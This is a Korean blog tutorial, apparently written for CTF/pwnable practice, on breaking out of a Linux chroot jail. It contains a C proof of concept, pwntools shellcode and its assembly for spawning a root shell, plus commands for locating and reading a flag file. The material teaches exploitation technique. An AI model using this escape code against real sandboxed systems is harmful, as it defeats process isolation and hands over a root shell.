[Privilege Escalation] pwnable 관점에서 chroot jail 탈옥하기

chroot(Change Root Directory)개요

chroot는 루트 디렉토리를 변경하며, 변경된 디렉토리에서는 상위 디렉토리에 파일 및 명령 접근이 불가능하다.

이는 chroot는 리눅스 위에서 프로세스를 격리시키는 기본적인 방법이다.

 

이렇게 시스템해킹에서 마주치게 되면 머리가 아프게 되는데, 사실 별 거 없으니 하나 배워가보자

chroot 한계

chroot는 프로세스를 격리시킬 수 있지만, 다음과 같은 제한사항이 있다.

  • 네트워크, 프로세스, 파일시스템 등 자원에 접근이 가능하며 제한이 없다.
  • root 권한으로 동작한다.

 

chroot 탈옥 쉽게 하기 (pwnable 관점)

chroot jail break PoC

    chdir("../../../../../");
    chroot(".");
    execve("/bin/sh", "-i", NULL);

 

1. chroot 환경을 상위로 옮긴다.

2. chroot 환경 외부로 현재 디렉토리 변경

3. 루트 파일 시스템에 엑세스하면 chroot 

 

모두 진행하고 shell을 켜주면 탈출이 가능하다.

 

아래는 이를 구현한 코드다.

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0 ; i < 1000 ; i++)
    	chdir("..");
    chroot(".");
    system("/bin/bash");
}

 

 

chroot jail break shellcode

# pwntool
shellcode = shellcraft.chdir("../../../")
shellcode += shellcraft.chroot(".")
shellcode += shellcraft.execve("/bin/sh", 0, 0)

 

더보기
    /* chdir(path='../../../') */
    /* push b'../../../\x00' */
    push 0x2f
    mov rax, 0x2e2e2f2e2e2f2e2e
    push rax
    mov rdi, rsp
    /* setregs noop */
    /* call chdir() */
    push SYS_chdir /* 0x50 */
    pop rax
    syscall
    /* chroot(path='.') */
    /* push b'.\x00' */
    push 0x2e
    mov rdi, rsp
    /* setregs noop */
    /* call chroot() */
    xor eax, eax
    mov al, SYS_chroot /* 0xa1 */
    syscall
    /* execve(path='/bin/sh', argv=0, envp=0) */
    /* push b'/bin/sh\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x68732f6e69622f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

 

shell에서 flag 뽑기

프로세스가 격리된 상태에서 flag를 뽑아보자

find / -name *flag* 2>/dev/null
cat /root/flag

 

flag 위치를 보고 해당 파일에 접근한다.

 

앞서 설명했듯이 네트워크, 프로세스 등 자원에 접근이 가능하고 제한없이 사용할 수 있기 때문에 이러한 방법이 가능하다.